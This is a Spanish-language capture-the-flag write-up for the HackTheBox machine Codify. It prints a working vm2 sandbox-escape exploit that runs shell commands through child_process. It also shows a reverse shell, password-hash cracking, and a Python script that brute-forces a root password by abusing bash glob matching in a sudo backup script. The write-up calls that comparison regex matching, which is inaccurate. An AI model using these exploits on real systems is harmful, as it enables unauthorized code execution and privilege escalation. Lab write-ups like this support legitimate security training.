Writeup Máquina Codify HTB

Resolución de la máquina Codify

htb


Al ingresar al sitio web proporcionado, observamos que es una plataforma para ejecutar Node.js en línea. Intenté ejecutar comandos con child_process y leer archivos con fs, pero ambos estaban restringidos.

page

Después de varios intentos, noté que la página mencionaba el uso de la sandbox vm2.

vm2

Al investigar un poco más, descubrí una vulnerabilidad reciente que permite escapar de la sandbox.

Referencias:



const {VM} = require("vm2");
const vm = new VM();

const code = `
err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};
  
const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}
`

console.log(vm.run(code));

vm2-exploit

Gracias a esto consigo una shell.

nc

Buscando por los archivos de la máquina encuentro una base de datos.

db

En la que se encuentra la contraseña del usuario joshua.

joshua

crackshash

Rompo el hash con jhon y puedo acceder vía ssh.

sudo

A la hora de escalar privilegios me encuentro que puedo ejecutar un script llamado mysql-backup como root.

#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
    /usr/bin/echo "Backing up database: $db"
    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done

/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'

Revisando el código de este script encontramos la comparación de igualdad [[ $DB_PASS == $USER_PASS ]] el problema está en que esta comparación es insegura ya que en bash esta comparación interpreta expresiones regulares, para que esto no fuese así la comparación debería ser [ $DB_PASS = $USER_PASS ]

regular expresion

En este caso si la contraseña empieza por a y introducimos a* el condicional se cumpliría, tenteniendo esto en cuenta podemos hacer una especie de bruteforce con el script.

#passpow.github.io

import string
import os
import sys
passwd=""
before=[]
def check_passwd(letter):
	global passwd
	if "Password confirmation failed!" in os.popen('echo "{}*" | sudo /opt/scripts/mysql-backup.sh'.format(passwd+letter)).read():
		return 1
	else:
		passwd+=letter
		print(passwd)



def check_passwd2(letter): #lol
	global passwd

	if "Password confirmation failed!" in os.popen('echo "{}" | sudo /opt/scripts/mysql-backup.sh'.format(passwd+letter)).read():
		return 1
	else:
		passwd+=letter
		print(passwd)



while True:
	for i in string.ascii_letters+string.digits:
		check_passwd(i)
		if passwd=="kljh12k3jhaskjh12kjh": 

			for i in string.ascii_letters+string.digits:
				check_passwd2(i)
				

exploit

root